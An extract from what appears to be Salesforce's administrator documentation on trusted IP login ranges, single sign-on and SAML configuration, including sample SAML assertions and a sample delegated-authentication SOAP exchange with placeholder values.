To help protect your organization's data from unauthorized access, you can specify a list of IP addresses from which users can always log in without receiving a login challenge: 1. Click Your Name > Setup > Security Controls > Network Access. 2. Click New. 3. Enter a valid IP address in the Start IP Address field and a higher IP address in the End IP Address field. The start and end addresses define the range of allowable IP addresses from which users can log in. If you want to allow logins from a single IP address, enter the same address in both fields. For example, to allow logins from only 125.12.3.0, enter 125.12.3.0 as both the start and end addresses. The start and end IP addresses in an IPv4 range must include no more than 33,554,432 addresses (225, a /7 CIDR block). For example, the following ranges are valid:
0.0.0.0 to 1.255.255.255 132.0.0.0 to 132.255.255.255 132.0.0.0 to 133.255.255.255

However, ranges like 0.0.0.0 to 2.255.255.255 or 132.0.0.0 to 134.0.0.0 are too large. The start and end IP addresses in an IPv6 range must include no more than 79,228,162,514,264,337,593,543,950,336 addresses (296, a /32 CIDR block). For example, the following range is valid: 2001:8000:: to 2001:8000:ffff:ffff:ffff:ffff:ffff:ffff. However, ranges like :: to ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff or 2001:8000:: to 2001:8001:: are too large. 4. Click Save. Note: For organizations that were activated before December 2007, Salesforce automatically populated your organization's trusted IP address list in December 2007, when this feature was introduced. The IP addresses from which trusted users had already accessed Salesforce during the past six months were added. Note: Both IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6 address space ::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff is 255.255.255.255. A range can't include IP addresses inside of the IPv4-mapped IPv6 address space if it also includes IP addresses outside of the IPv4-mapped IPv6 address space. Ranges such as 255.255.255.255 to ::1:0:0:0 or :: to ::1:0:0:0 are not allowed. You can set up IPv6 addresses in all organizations, but IPv6 is only enabled for login in sandbox organizations for the Spring '12 release.

See Also:
Setting Login Restrictions Security Implementation Guide

680

Single Sign On

About Single Sign-On

SINGLE SIGN ON
About Single Sign-On
Federated Authentication is available in: All Editions Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Authentication Providers are available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

Single sign-on is a process that allows network users to access all authorized network resources without having to log in separately to each resource. Single sign-on allows you to validate usernames and passwords against your corporate user database or other client application rather than having separate user passwords managed by Salesforce. Salesforce offers the following ways to use single sign-on: Federated authentication using Security Assertion Markup Language (SAML): When federated authentication is enabled, Salesforce does not validate a users password. Instead, Salesforce verifies an assertion in the HTTP POST request, and allows single sign-on if the assertion is true. This is the default form of single sign-on. Federated authentication is available in all Editions. Delegated authentication: When delegated authentication is enabled, Salesforce does not validate a users password. Instead, Salesforce makes a Web services call to your organization to establish authentication credentials for the user. You must request that this feature be enabled by salesforce.com. Contact salesforce.com to enable delegated authentication single sign-on for your organization. Authentication providers: When authentication providers are enabled, Salesforce does not validate a users password. Instead, Salesforce uses the users login credentials from an external service provider to establish authentication credentials.

When you have an external identity provider, and configure single sign-on for your Salesforce organization, Salesforce is then acting as a service provider. You can also enable Salesforce as an identity provider, and use single sign-on to connect to a different service provider. Only the service provider needs to configure single sign-on. The Single Sign-On Settings page displays which version of single sign-on is available for your organization. To learn more about the single sign-on settings, see Configuring SAML Settings for Single Sign-On. For more information about SAML and Salesforce security, see the Security Implementation Guide.

681

Security and Sharing

About Single Sign-On

Benefits of Single Sign-On Implementing single sign-on can offer the following advantages to your organization: Reduced Administrative Costs: With single sign-on, users only need to memorize a single password to access both network resources or external applications and Salesforce. When accessing Salesforce from inside the corporate network, users are logged in seamlessly, without being prompted to enter a username or password. When accessing Salesforce from outside the corporate network, the users corporate network login works to log them in. With fewer passwords to manage, system administrators receive fewer requests to reset forgotten passwords. Leverage Existing Investment: Many companies use a central LDAP database to manage user identities. By delegating Salesforce authentication to this system, when a user is removed from the LDAP system, they can no longer access Salesforce. Consequently, users who leave the company automatically lose access to company data after their departure. Time Savings: On average, a user takes five to 20 seconds to log in to an online application; longer if they mistype their username or password and are prompted to reenter them. With single sign-on in place, the need to manually log in to Salesforce is avoided. These saved seconds add up to increased productivity. Increased User Adoption: Due to the convenience of not having to log in, users are more likely to use Salesforce on a regular basis. For example, users can send email messages that contain links to information in Salesforce.com such as records and reports. When the recipients of the email message click the links, the corresponding Salesforce.com page opens automatically. Increased Security: Any password policies that you have established for your corporate network will also be in effect for Salesforce. In addition, sending an authentication credential that is only valid for a single use can increase security for users who have access to sensitive data.

See Also:
Best Practices for Implementing Single Sign-On Configuring SAML Settings for Single Sign-On About Just-in-Time Provisioning for SAML Viewing Single Sign-On Settings Validating SAML Settings for Single Sign-On Enabling Single Sign-On for Portals Administrator setup guide: Single Sign-On Implementation Guide Just-in-Time Provisioning for Portals

682

Security and Sharing

About SAML

About SAML
Federated Authentication is available in: All Editions Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Authentication Providers are available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

Security Assertion Markup Language (SAML) is an XML-based standard that allows you to communicate authentication decisions between one service and another. It underlies many Web single sign-on solutions. Salesforce supports SAML for single sign-on into Salesforce from a corporate portal or identity provider. Much of the work to set up single sign-on using SAML occurs with your identity provider: 1. Establish a SAML identity provider and gather information about how they will connect to Salesforce. This is the provider that will send single sign-on requests to Salesforce. 2. Provide information to your identity provider, such as the URLs for the start and logout pages. 3. Configure Salesforce using the instructions in Configuring SAML Settings for Single Sign-On. This is the only step that takes place in Salesforce. Your identity provider should send SAML assertions to Salesforce using the SAML Web Single Sign-on Browser POST profile. Salesforce sends SAML responses to the Identity Provider Login URL specified in Your Name > Setup > Security Controls > Single Sign-On Settings. Salesforce receives the assertion, verifies it against your Salesforce configuration, and allows single sign-on if the assertion is true. If you have problems with the SAML assertion after you configure Salesforce for SAML, use the SAML Assertion Validator to validate the SAML assertion. You may need to obtain a SAML assertion from your identity provider. If your users are having problems using SAML to login, you can review the SAML login history to determine why they were not able to log in and share that information with your identity provider. If your identity provider supports metadata, and if you've configured SAML using version 2.0, you can click Download Metadata to download an XML configuration file to send them, which they can then upload to automatically configure their settings for connecting to your Salesforce organization.

683

Security and Sharing

Working With Your Identity Provider

Working With Your Identity Provider


Federated Authentication is available in: All Editions Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Authentication Providers are available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

1. You must gather the following information from your identity provider before configuring Salesforce for SAML. The version of SAML the identity provider uses (1.1 or 2.0) The entity ID of the identity provider (also known as the issuer) An authentication certificate. Tip: Be sure to store the certificate where you can access it from your browser. This will be uploaded to Salesforce in a later step. The following SAML assertion parameters, as appropriate: The SAML user ID type The SAML user ID location Attribute Name Attribute URI Name ID format Note: Attribute Name, Attribute URI, and Name ID format are only necessary if the SAML User ID Location is in an Attribute element, and not the name identifier element of a Subject statement.

You may also want to share more information about these values with your identity provider. Tip: Enable Salesforce for SAML and take a screenshot of the page for your identity provider. Click Your Name > Setup > Security Controls > Single Sign-On Settings, click Edit, then select SAML Enabled. 2. Work with your identity provider to setup the start, login, and logout pages. 3. Share the example SAML assertions with your identity provider so they can determine the format Salesforce requires for successful single sign-on.

684

Security and Sharing

Working With Your Identity Provider

Customizing SAML Start, Error, Login, and Logout Pages


Federated Authentication is available in: All Editions Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Authentication Providers are available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

The start, error, login, and logout pages can be customized for single sign-on users using SAML 1.1 or 2.0. As part of your configuration, you need to decide the following: The logout page: the URL to direct the user to when they click the Logout link in Salesforce. The default is http://www.salesforce.com. If your identity provider uses SAML 1.1, the start page: the URL to direct the user to when sign-on successfully completes. This URL can be absolute, such as https://na1.salesforce.com/001/o or it can be relative, such as /001/o. This URL should be an endpoint that accepts SAML authentication requests. In SAML 2.0, the start page is the page the user attempted to access before they were authenticated. The SAML 2.0 start page must support Sp-init single sign-on. If you are using SAML 2.0, you can also use the RelayState parameter to control where users get redirected after a successful login. The single sign-on start page where Salesforce sends a SAML request to start the login sequence. We recommend that if you specify a single sign-on start page that you also specify a logout page. When you specify a logout page, when a user clicks logout or if a users session expires, the user is redirected to that page. If you dont specify a logout page, the user is redirected to the general Salesforce login page. For SAML 2.0, these values can be set either during the single sign-on configuration, or by your identity provider in the login URL or SAML assertion. The order of precedence is: 1. Session cookieif youve already logged into Salesforce and a cookie still exists, the login and logout pages specified by the session cookie are used. 2. Values passed in from the identity provider. 3. Values from the single sign-on configuration page. If you decide not to add these values to the single sign-on configuration, share them with your identity provider. They will need to use these values either in the login URL or the assertion.

685

Security and Sharing

Working With Your Identity Provider

You can also decide if you want users to be directed to a custom error page if theres an error during SAML login: It must be a publicly accessible page, such as a public site Visualforce page. The URL can be absolute or relative. Use this value when you configure SAML.

Example SAML Assertions


Federated Authentication is available in: All Editions Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Authentication Providers are available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

Share the example SAML assertions with your identity provider so they can determine the format of the information Salesforce requires for successful single-sign on. In addition to the general single sign-on examples for both SAML 1.1 and SAML 2.0, use the following samples for the specific feature: assertions for portals assertions for Sites SOAP message for delegated authentication assertion for just-in-time provisioning

SAML User ID type is the Salesforce username, and SAML User ID location is the <NameIdentifier> element in the <Subject> element SAML 1.1:
<Subject> <NameIdentifier>user101@salesforce.com</NameIdentifier> </Subject>

SAML 2.0:
<saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">user101@salesforce.com</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData NotOnOrAfter="2008-06-26T02:44:24.173Z" Recipient="http://localhost:9000"/>

686

Security and Sharing

Working With Your Identity Provider

</saml:SubjectConfirmation> </saml:Subject>

SAML User ID type is the Salesforce username, and SAML User ID location is the <Attribute> element SAML 1.1:
<AttributeStatement> <Subject> <NameIdentifier>this value doesn't matter</NameIdentifier> <SubjectConfirmation> <ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</ConfirmationMethod> </SubjectConfirmation> </Subject> <Attribute AttributeName="MySfdcName" AttributeNamespace="MySfdcURI"> <AttributeValue>user101@salesforce.com</AttributeValue> </Attribute> </AttributeStatement>

SAML 2.0:
<saml:AttributeStatement> <saml:Attribute FriendlyName="fooAttrib" Name="SFDC_USERNAME" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string"> user101@salesforce.com </saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement>

SAML User ID type is the Salesforce User object's FederationIdentifier field, and SAML User ID location is the <NameIdentifier> element in the <Subject> element SAML 1.1:
<AttributeStatement> <saml:Subject> <saml:NameIdentifier Format="urn:oasis:names:tc:SAML:1.0:assertion" NameQualifier="www.saml_assertions.com"> MyName </saml:NameIdentifier> </saml:Subject> </AttributeStatement>

SAML 2.0:
<saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">MyName</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData NotOnOrAfter="2008-06-26T02:48:25.730Z" Recipient="http://localhost:9000/"/> </saml:SubjectConfirmation> </saml:Subject>

687

Security and Sharing

Working With Your Identity Provider

Note: The name identifier can be any arbitrary string, including email addresses or numeric ID strings.

SAML User ID type is theSalesforce User object's FederationIdentifier field, and SAML User ID location is the <Attribute> element SAML 1.1:
<AttributeStatement> <Subject> <NameIdentifier>who cares</NameIdentifier> <SubjectConfirmation> <ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</ConfirmationMethod> </SubjectConfirmation> </Subject> <Attribute AttributeName="MyName" AttributeNamespace="MyURI"> <AttributeValue>user101</AttributeValue> </Attribute> </AttributeStatement>

SAML 2.0:
<saml:AttributeStatement> <saml:Attribute FriendlyName="fooAttrib" Name="SFDC_ATTR" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string"> user101 </saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement>

SAML User ID type is the Salesforce username, and SAML User ID location is the <NameIdentifier> element in the <Subject> element The following is a complete SAML response, for SAML 2.0:
<samlp:Response ID="_257f9d9e9fa14962c0803903a6ccad931245264310738" IssueInstant="2009-06-17T18:45:10.738Z" Version="2.0"> <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"> https://www.salesforce.com</saml:Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion ID="_3c39bc0fe7b13769cab2f6f45eba801b1245264310738" IssueInstant="2009-06-17T18:45:10.738Z" Version="2.0"> <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"> https://www.salesforce.com</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"> saml01@salesforce.com</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData NotOnOrAfter="2009-06-17T18:50:10.738Z" Recipient="https://login.www.salesforce.com"/>

688

Security and Sharing

Working With Your Identity Provider

</saml:SubjectConfirmation> </saml:Subject> <saml:Conditions NotBefore="2009-06-17T18:45:10.738Z" NotOnOrAfter="2009-06-17T18:50:10.738Z"> <saml:AudienceRestriction> <saml:Audience>https://saml.salesforce.com</saml:Audience> </saml:AudienceRestriction> </saml:Conditions> <saml:AuthnStatement AuthnInstant="2009-06-17T18:45:10.738Z"> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified </saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> <saml:AttributeStatement> <saml:Attribute Name="portal_id"> <saml:AttributeValue xsi:type="xs:anyType">060D00000000SHZ </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="organization_id"> <saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7L5 </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="ssostartpage" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType"> http://www.salesforce.com/security/saml/saml20-gen.jsp </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="logouturl" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"> <saml:AttributeValue xsi:type="xs:string"> http://www.salesforce.com/security/del_auth/SsoLogoutPage.html </saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> </saml:Assertion> </samlp:Response>

Sample SAML Assertions for Portals The following shows the portal_id and organization_id attributes in a SAML assertion statement:
<saml:AttributeStatement> <saml:Attribute Name="portal_id"> <saml:AttributeValue xsi:type="xs:anyType">060D00000000SHZ</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="organization_id"> <saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7P5</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement>

689

Security and Sharing

Working With Your Identity Provider

The following is a complete SAML assertion statement that can be used for single sign-on for portals. The organization is using federated sign-on, which is included in an attribute, not in the subject.
<samlp:Response ID="_f97faa927f54ab2c1fef230eee27cba21245264205456" IssueInstant="2009-06-17T18:43:25.456Z" Version="2.0"> <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"> https://www.salesforce.com</saml:Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion ID="_f690da2480a8df7fcc1cbee5dc67dbbb1245264205456" IssueInstant="2009-06-17T18:43:25.456Z" Version="2.0"> <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"> https://www.salesforce.com</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">null </saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData NotOnOrAfter="2009-06-17T18:48:25.456Z" Recipient="https://www.salesforce.com/?saml=02HKiPoin4f49GRMsOdFmhTgi _0nR7BBAflopdnD3gtixujECWpxr9klAw"/> </saml:SubjectConfirmation> </saml:Subject> <saml:Conditions NotBefore="2009-06-17T18:43:25.456Z" NotOnOrAfter="2009-06-17T18:48:25.456Z"> <saml:AudienceRestriction> <saml:Audience>https://saml.salesforce.com</saml:Audience> </saml:AudienceRestriction> </saml:Conditions> <saml:AuthnStatement AuthnInstant="2009-06-17T18:43:25.456Z"> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified </saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> <saml:AttributeStatement> <saml:Attribute FriendlyName="Friendly Name" Name="federationId" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:string">saml_portal_user_federation_id </saml:AttributeValue> <saml:AttributeValue xsi:type="xs:string">SomeOtherValue </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="portal_id"> <saml:AttributeValue xsi:type="xs:anyType">060D00000000SHZ </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="organization_id"> <saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7Z5 </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="ssostartpage"

690

Security and Sharing

Working With Your Identity Provider

NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType"> http://www.salesforce.com/qa/security/saml/saml20-gen.jsp </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="logouturl" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"> <saml:AttributeValue xsi:type="xs:string"> http://www.salesforce.com/qa/security/del_auth/SsoLogoutPage.html </saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> </saml:Assertion> </samlp:Response>

Sample SAML Assertion for Sites The following shows the portal_id, organization_id, and siteurl attributes in a SAML assertion statement:
<saml:AttributeStatement> <saml:Attribute Name="portal_id"> <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:anyType">060900000004cDk </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="organization_id"> <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:anyType">00D900000008bX0 </saml:AttributeValue></saml:Attribute> <saml:Attribute Name="siteurl"> <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:anyType">https://ap1.force.com/mySuffix</saml:AttributeValue> </saml:Attribute>

Sample SOAP Message for Delegated Authentication As part of the delegated authentication single sign-on process, a salesforce.com server makes a SOAP 1.1 request to authenticate the user who is passing in the credentials. Here is an example of this type of request. Your single sign-on Web service needs to accept this request, process it, and return a true or false response. Sample Request
<?xml version="1.0" encoding="UTF-8" ?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <Authenticate xmlns="urn:authentication.soap.sforce.com"> <username>sampleuser@sample.org</username> <password>myPassword99</password> <sourceIp>1.2.3.4</sourceIp> </Authenticate> </soapenv:Body> </soapenv:Envelope>

691

Security and Sharing

Working With Your Identity Provider

Sample Response Message


<?xml version="1.0" encoding="UTF-8"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <AuthenticateResult xmlns="urn:authentication.soap.sforce.com"> <Authenticated>false</Authenticated> </AuthenticateResult> </soapenv:Body> </soapenv:Envelope>

Sample SAML Assertion for Just-In-Time Provisioning The following is a sample SAML assertion for just in time provisioning.
<saml:Attribute Name="User.Username" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">testuser@123.org </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.Phone" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">415-123-1234 </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.FirstName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">Testuser </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.LanguageLocaleKey" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">en_US </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.CompanyName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">Salesforce.com </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.Alias" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">tlee2 </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.CommunityNickname" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">tlee2 </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.UserRoleId" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">000000000000000 </saml:AttributeValue> </saml:Attribute>

692

Security and Sharing

Working With Your Identity Provider

<saml:Attribute Name="User.Title" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">Mr. </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.LocaleSidKey" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">en_CA </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.Email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">testuser@salesforce.com </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name=" User.FederationIdentifier" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">tlee2 </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.TimeZoneSidKey" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">America/Los_Angeles </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.LastName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">Lee </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.ProfileId" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">00ex0000001pBNL </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.IsActive" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">1 </saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="User.EmailEncodingKey" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">UTF-8 </saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement>

693

Security and Sharing

Working With Your Identity Provider

Identity Provider Values


Federated Authentication is available in: All Editions Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Authentication Providers are available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

Before you can configure Salesforce for SAML, you must receive information from your identity provider. This information must be used on the single sign-on page. The following information might be useful for your identity provider. Field
SAML Version

Description The version of SAML your identity provider uses. Salesforce currently supports version 1.1 and 2.0. The SAML specifications for the various versions are linked below: SAML 1.1 SAML 2.0 The Entity IDa URL that uniquely identifies your SAML identity provider. SAML assertions sent to Salesforce must match this value exactly in the <saml:Issuer> attribute of SAML assertions. The issuer in SAML requests generated by Salesforce, and is also the expected audience of any inbound SAML Responses. If you dont have domains deployed, this value is always https://saml.salesforce.com. If you have domains deployed, Salesforce recommends that you use your custom domain name. You can find the value on the Single Sign-On Settings page. Click Your Name > Setup > Security Controls > Single Sign-On Settings. The authentication certificate issued by your identity provider. For SAML 2.0 only: The URL where Salesforce sends a SAML request to start the login sequence. If you have domains deployed and a value specified for this field, login requests are usually sent to the address specified by this field. However, if you need to bypass this value (for example, your identity provider is down) add the login parameter to the query string for the login page. For example: http://mydomain.my.salesforce.com?login

Issuer

Entity ID

Identity Provider Certificate Identity Provider Login URL

694

Security and Sharing

Working With Your Identity Provider

Field
Identity Provider Logout URL Salesforce Login URL OAuth 2.0 Token Endpoint Custom Error URL

Description For SAML 2.0 only: The URL to direct the user to when they click the Logout link in Salesforce. The default is http://www.salesforce.com. The URL associated with login for the Web single sign-on flow. See SAML Assertion Flow. For SAML 2.0 only: The ACS URL used with enabling Salesforce as an identity provider in the Web single sign-on OAuth assertion flow. See SAML Assertion Flow. The URL of the page users should be directed to if there's an error during SAML login. It must be a publicly accessible page, such as a public site Visualforce page. The URL can be absolute or relative. The element in a SAML assertion that contains the string that identifies a Salesforce user. Values are:
Assertion contains Users Salesforce username

SAML User ID Type

Use this option if your identity provider passes the Salesforce username in SAML assertions.
Assertion contains the Federation ID from the User object

Use this option if your identity provider passes an external user identifier, for example an employee ID, in the SAML assertion to identify the user.
SAML User ID Location The location in the assertion where a user should be identified. Values are: User ID is in the NameIdentifier element of the Subject statement

The Salesforce Username or FederationIdentifier is located in the <Subject> statement of the assertion.
User ID is in an Attribute element

The Salesforce Username or FederationIdentifier is specified in an <AttributeValue>, located in the <Attribute> of the assertion.
Attribute Name

If User ID is in an Attribute element is selected, this contains the value of the AttributeName that is specified in <Attribute> that contains the User ID. If SAML 1.1 is the specified SAML version and User ID is in an Attribute element is selected, this contains the value of the AttributeNamespace that is specified in <Attribute>. If SAML 2.0 is the specified SAML version and User ID is in an Attribute element is selected, this contains the value for the nameid-format. Possible values include unspecified, emailAddress or persistent. All legal values can be found in the Name Identifier Format Identifiers section of the Assertions and Protocols SAML 2.0 specification. If youre using My Domains, chose the binding mechanism your identity provider requests for your SAML messages. Values are:
HTTP POST

Attribute URI

Name ID Format

Service Provider Initiated Request Binding

HTTP POST binding sends SAML messages using base64-encoded HTML forms.

695

Security and Sharing

Working With Your Identity Provider

Field

Description
HTTP Redirect

HTTP Redirect binding sends base64-encoded and URL-encoded SAML messages within URL parameters. No matter what request binding is selected, the SAML Response will always use HTTP POST binding.

Start, Login and Logout URL Values In addition to the information used during the single sign-on, your identity provider can also set the start, login, and logout pages. You can also specify these pages yourself when you configure single sign-on. The following information might be useful to your identity provider if they are setting these pages. The SAML specification supports an HTML form that is used to pass the SAML assertion via HTTPS POST. For SAML 1.1, the SAML identity provider can embed name-value pairs in the TARGET field to pass this additional information to Salesforce prepended with a specially formatted URL that contains URL-encoded parameters. The URL for SAML 1.1 to include in the TARGET field is as follows: https://saml.salesforce.com/? For SAML 2.0, instead of using the TARGET field, the identity providers uses the <AttributeStatement> in the SAML assertion to specify the additional information. Salesforce supports the following parameters: Note: For SAML 1.1 these parameters must be URL-encoded. This allows the URLs, passed as values that include their own parameters, to be handled correctly. For SAML 2.0, these parameters are part of the <AttributeStatement>. ssoStartPage is the page to which the user should be redirected when trying to log in with SAML. The user is directed to this page when requesting a protected resource in Salesforce, without an active session. The ssoStartPage should be the SAML identity provider's login page. startURL is the URL where you want the user to be directed when sign-on completes successfully. This URL can be absolute, such as https://na1.salesforce.com/001/o or it can be relative, such as /001/o. This parameter is only used in SAML 1.1. In SAML 2.0, the start URL is the page the user attempted to access before they were authenticated. logoutURL is the URL where you want the user to be directed when they click the Logout link in Salesforce. The default is http://www.salesforce.com. The following sample TARGET field is for SAML 1.1, and includes properly-encoded parameters. It passes a customized start page, as well as start and logout URLs embedded as parameter values in the query string.
https://saml.salesforce.com/?ssoStartPage=https%3A%2F %2Fwww.customer.org%2Flogin%2F&startURL=%2F001%2Fo&logoutURL=http%3A%2F%2Fwww.salesforce.com

The following is an example of an <AttributeStatement> for SAML 2.0 that contains both ssoStartPage and logoutURL:
<saml:AttributeStatement> <saml:Attribute Name="ssoStartPage" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:anyType"> http://www.customer.org </saml:AttributeValue> </saml:Attribute>

696

Security and Sharing

Configuring SAML Settings for Single Sign-On
